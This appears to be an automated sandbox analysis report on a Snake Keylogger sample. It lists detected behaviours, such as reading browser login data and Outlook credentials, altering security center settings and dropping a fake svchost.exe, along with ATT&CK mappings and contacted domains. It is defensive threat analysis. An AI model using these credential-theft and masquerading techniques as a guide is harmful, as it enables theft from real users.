Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Stealing of Sensitive Information:

Yara detected Snake Keylogger

Show sources

Source: Yara match	File source: 00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.lfQuSBwdSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\user\Desktop\lfQuSBwdSf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Remote Access Functionality:

Yara detected Snake Keylogger

Show sources

Source: Yara match	File source: 00000015.00000002.485923538.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.541864387.0000000004A72000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.517681508.0000000004965000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4ad53b0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.lfQuSBwdSf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.4965ef8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.svchost.exe.4a72390.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.svchost.exe.49c8f18.2.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools21	OS Credential Dumping1	File and Directory Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Registry Run Keys / Startup Folder11	Process Injection111	Obfuscated Files or Information1	LSASS Memory	System Information Discovery23	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Registry Run Keys / Startup Folder11	Software Packing1	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Timestomp1	NTDS	Security Software Discovery241	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading221	Cached Domain Credentials	Virtualization/Sandbox Evasion251	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion251	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection111	Proc Filesystem	Remote System Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Network Configuration Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
lfQuSBwdSf.exe	25%	Virustotal		Browse
lfQuSBwdSf.exe	29%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx
lfQuSBwdSf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	100%	Joe Sandbox ML
C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe	29%	ReversingLabs	ByteCode-MSIL.Trojan.Pwsx

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
21.2.lfQuSBwdSf.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
myliverpoolnews.cf	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	0%	URL Reputation	safe
http://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7C92219C6C42B363C26A6A670922F074.html	0%	Avira URL Cloud	safe
http://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-133B76AB9374D6781F41A2D553BC2BA3.html	0%	Avira URL Cloud	safe
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	0%	URL Reputation	safe
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	0%	URL Reputation	safe
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://www.liverpool.com/all-about/premier-league	0%	URL Reputation	safe
https://www.liverpool.com/all-about/premier-league	0%	URL Reputation	safe
https://www.liverpool.com/all-about/premier-league	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/	0%	URL Reputation	safe
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	0%	URL Reputation	safe
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	0%	URL Reputation	safe
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/featuresnC	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s615/0_RobertsonCross1.jpg	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/jurgen-klopp-liverpool-transfer-targets-1996166	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/transfer-news/liverpool-erling-haaland-transfer-weghorst	0%	URL Reputation	safe
https://reachplc.hub.loginradius.com"	0%	Avira URL Cloud	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s220b/0_Curtis-10.png	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19960206.ece/ALTERNATES/s180/0_WhatsApp-Image-2021-03-	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s615/0_GettyImages-1304940818.	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s270b/0_GettyImages-1273716690	0%	URL Reputation	safe
https://s2-prod.liverpool.com	0%	URL Reputation	safe
https://s2-prod.liverpool.com	0%	URL Reputation	safe
https://s2-prod.liverpool.com	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816	0%	URL Reputation	safe
https://www.liverpool.com/liverpool-fc-news/features/mohamed-salah-liverpool-goal-flaw-19945816	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
myliverpoolnews.cf	104.21.56.119	true	false	2%, Virustotal, Browse	unknown
freegeoip.app	172.67.188.154	true	false		unknown
checkip.dyndns.com	162.88.193.70	true	false		unknown
checkip.dyndns.org	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7C92219C6C42B363C26A6A670922F074.html	false	Avira URL Cloud: safe	unknown
http://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-133B76AB9374D6781F41A2D553BC2BA3.html	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false	Avira URL Cloud: safe	unknown
http://myliverpoolnews.cf/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-5C52937048F55BFE92995966F69D90F1.html	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://i2-prod.liverpool.com/incoming/article19955855.ece/ALTERNATES/s458/0_GettyImages-1304940818.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19957561.ece/ALTERNATES/s458/1_FreeAgentPlayers.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://c.amazon-adsystem.com/aax2/apstag.js	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false		high
https://www.liverpool.com/liverpool-fc-news/features/liverpool-arsenal-klopp-lijnders-carabao-171668	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-02-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpoolecho.co.uk/incoming/article17165318.ece/ALTERNATES/s615/2_GettyImages-11837	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961704.ece/ALTERNATES/s220b/0_GettyImages-1273716690	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19961953.ece/ALTERNATES/s180/0_GettyImages-1302496803.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19945821.ece/ALTERNATES/s270b/0_Salah-Goal-vs-Leeds.jp	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19960478.ece/ALTERNATES/s615/0_WhatsApp-Image-2021-03-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/all-about/premier-league	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19938370.ece/ALTERNATES/s180/0_Salah-Pressing.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s615/0_Curtis-10.png	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19963923.ece/ALTERNATES/s180/1_WhatsApp-Image-2021-03-	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/schedule/liverpool-arsenal-carabao-cup-klopp-17166154	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.536067747.00000000058E2000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.535279406.0000000005E25000.00000004.00000001.sdmp, powershell.exe, 00000009.00000002.535629582.0000000005713000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19955390.ece/ALTERNATES/s615/0_GettyImages-1231353837.	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000002.346059518.000000000311E000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.233038130.0000000003334000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/features/liverpool-psg-transfer-news-19957850	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://i2-prod.liverpool.com/incoming/article19936064.ece/ALTERNATES/s220b/0_WhatsApp-Image-2021-02	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	lfQuSBwdSf.exe, 00000000.00000002.344997356.00000000030C1000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.522995118.0000000004881000.00000004.00000001.sdmp, powershell.exe, 00000007.00000002.520364713.0000000004DC1000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19946983.ece/ALTERNATES/s180/0_RobertsonCross1.jpg	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ads.pubmatic.com/AdServer/js/pwt/156997/3236/pwt.js	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false		high
https://i2-prod.liverpool.com/incoming/article19940968.ece/ALTERNATES/s270b/0_Curtis-10.png	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp, lfQuSBwdSf.exe, 00000000.00000003.225090354.0000000006081000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.liverpool.com/liverpool-fc-news/transfer-news/fsg-liverpool-gini-wijnaldum-transfer-1876	lfQuSBwdSf.exe, 00000000.00000003.228963232.00000000040EA000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
